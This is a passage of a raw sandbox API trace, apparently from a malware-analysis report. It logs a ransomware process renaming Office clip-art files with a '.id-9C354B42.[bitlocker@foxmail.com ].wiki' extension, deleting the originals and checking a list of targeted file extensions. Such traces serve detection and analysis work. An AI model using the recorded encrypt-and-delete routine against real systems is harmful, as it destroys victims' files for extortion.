returned 0x1f8 [0192.827] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.827] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0192.828] GetLastError () returned 0x0 [0192.828] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.852] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.854] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.854] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.854] SetEndOfFile (hFile=0x1f0) returned 1 [0192.854] CloseHandle (hObject=0x1f0) returned 1 [0192.854] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.854] SetEndOfFile (hFile=0x1f8) returned 1 [0192.855] CloseHandle (hObject=0x1f8) returned 1 [0192.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0192.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.855] lstrlenW (lpString=".doc") returned 4 [0192.855] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.855] lstrlenW (lpString=".docx") returned 5 [0192.855] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0192.855] lstrlenW (lpString=".pdf") returned 4 [0192.855] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.855] lstrlenW (lpString=".xls") returned 4 [0192.855] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.855] lstrlenW (lpString=".xlsx") returned 5 [0192.855] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0192.855] lstrlenW (lpString=".ppt") returned 4 [0192.855] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.856] lstrlenW (lpString=".zip") returned 4 [0192.856] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString=".rar") returned 4 [0192.856] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString=".bz2") returned 4 [0192.856] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString=".7z") returned 3 [0192.856] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.856] lstrlenW (lpString=".dbf") returned 4 [0192.856] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.856] lstrlenW (lpString=".1cd") returned 4 [0192.856] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.856] lstrlenW (lpString=".jpg") returned 4 [0192.856] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.856] lstrlenW (lpString=".doc") returned 4 [0192.856] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString=".docx") returned 5 [0192.856] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0192.856] lstrlenW (lpString=".pdf") returned 4 [0192.856] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString=".xls") returned 4 [0192.856] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.856] lstrlenW (lpString=".xlsx") returned 5 [0192.856] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0192.856] lstrlenW (lpString=".ppt") returned 4 [0192.857] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.857] lstrlenW (lpString=".zip") returned 4 [0192.857] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.857] lstrlenW (lpString=".rar") returned 4 [0192.857] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.857] lstrlenW (lpString=".bz2") returned 4 [0192.857] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.857] lstrlenW (lpString=".7z") returned 3 [0192.857] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.857] lstrlenW (lpString=".dbf") returned 4 [0192.857] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.857] lstrlenW (lpString=".1cd") returned 4 [0192.857] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0192.857] lstrlenW (lpString=".jpg") returned 4 [0192.857] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.857] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.857] lstrlenW (lpString="J0101863.BMP") returned 12 [0192.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.858] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0192.858] CloseHandle (hObject=0x1f8) returned 1 [0192.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0192.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0192.858] GetLastError () returned 0x0 [0192.858] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.877] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.878] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.878] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.878] SetEndOfFile (hFile=0x1f0) returned 1 [0192.878] CloseHandle (hObject=0x1f0) returned 1 [0192.878] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.878] SetEndOfFile (hFile=0x1f8) returned 1 [0192.879] CloseHandle (hObject=0x1f8) returned 1 [0192.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0192.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.880] lstrlenW (lpString=".doc") returned 4 [0192.880] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString=".docx") returned 5 [0192.880] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0192.880] lstrlenW (lpString=".pdf") returned 4 [0192.880] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString=".xls") returned 4 [0192.880] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString=".xlsx") returned 5 [0192.880] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0192.880] lstrlenW (lpString=".ppt") returned 4 [0192.880] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.880] lstrlenW (lpString=".zip") returned 4 [0192.880] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString=".rar") returned 4 [0192.880] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString=".bz2") returned 4 [0192.880] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString=".7z") returned 3 [0192.880] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.880] lstrlenW (lpString=".dbf") returned 4 [0192.880] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.880] lstrlenW (lpString=".1cd") returned 4 [0192.881] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.881] lstrlenW (lpString=".jpg") returned 4 [0192.881] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.881] lstrlenW (lpString=".doc") returned 4 [0192.881] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString=".docx") returned 5 [0192.881] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0192.881] lstrlenW (lpString=".pdf") returned 4 [0192.881] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString=".xls") returned 4 [0192.881] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString=".xlsx") returned 5 [0192.881] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0192.881] lstrlenW (lpString=".ppt") returned 4 [0192.881] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.881] lstrlenW (lpString=".zip") returned 4 [0192.881] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString=".rar") returned 4 [0192.881] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString=".bz2") returned 4 [0192.881] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.881] lstrlenW (lpString=".7z") returned 3 [0192.881] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.881] lstrlenW (lpString=".dbf") returned 4 [0192.882] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.882] lstrlenW (lpString=".1cd") returned 4 [0192.882] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0192.882] lstrlenW (lpString=".jpg") returned 4 [0192.882] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.882] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.882] lstrlenW (lpString="J0101866.BMP") returned 12 [0192.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.882] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0192.882] CloseHandle (hObject=0x1f8) returned 1 [0192.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0192.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.883] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.883] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0192.883] GetLastError () returned 0x0 [0192.883] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.905] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.906] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0192.906] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.906] SetEndOfFile (hFile=0x1f0) returned 1 [0192.906] CloseHandle (hObject=0x1f0) returned 1 [0192.906] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.906] SetEndOfFile (hFile=0x1f8) returned 1 [0192.907] CloseHandle (hObject=0x1f8) returned 1 [0192.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0192.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.908] lstrlenW (lpString=".doc") returned 4 [0192.908] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString=".docx") returned 5 [0192.908] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0192.908] lstrlenW (lpString=".pdf") returned 4 [0192.908] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString=".xls") returned 4 [0192.908] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString=".xlsx") returned 5 [0192.908] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0192.908] lstrlenW (lpString=".ppt") returned 4 [0192.908] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.908] lstrlenW (lpString=".zip") returned 4 [0192.908] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString=".rar") returned 4 [0192.908] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString=".bz2") returned 4 [0192.908] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.908] lstrlenW (lpString=".7z") returned 3 [0192.908] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.908] lstrlenW (lpString=".dbf") returned 4 [0192.909] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.909] lstrlenW (lpString=".1cd") returned 4 [0192.909] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.909] lstrlenW (lpString=".jpg") returned 4 [0192.909] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.909] lstrlenW (lpString=".doc") returned 4 [0192.909] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString=".docx") returned 5 [0192.909] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0192.909] lstrlenW (lpString=".pdf") returned 4 [0192.909] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString=".xls") returned 4 [0192.909] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString=".xlsx") returned 5 [0192.909] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0192.909] lstrlenW (lpString=".ppt") returned 4 [0192.909] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.909] lstrlenW (lpString=".zip") returned 4 [0192.909] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString=".rar") returned 4 [0192.909] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString=".bz2") returned 4 [0192.909] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.909] lstrlenW (lpString=".7z") returned 3 [0192.909] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.910] lstrlenW (lpString=".dbf") returned 4 [0192.910] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.910] lstrlenW (lpString=".1cd") returned 4 [0192.910] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0192.910] lstrlenW (lpString=".jpg") returned 4 [0192.910] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.910] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.910] lstrlenW (lpString="J0102002.WMF") returned 12 [0192.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0192.910] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=15988) returned 1 [0192.910] CloseHandle (hObject=0x1f8) returned 1 [0193.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0193.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.005] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.005] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 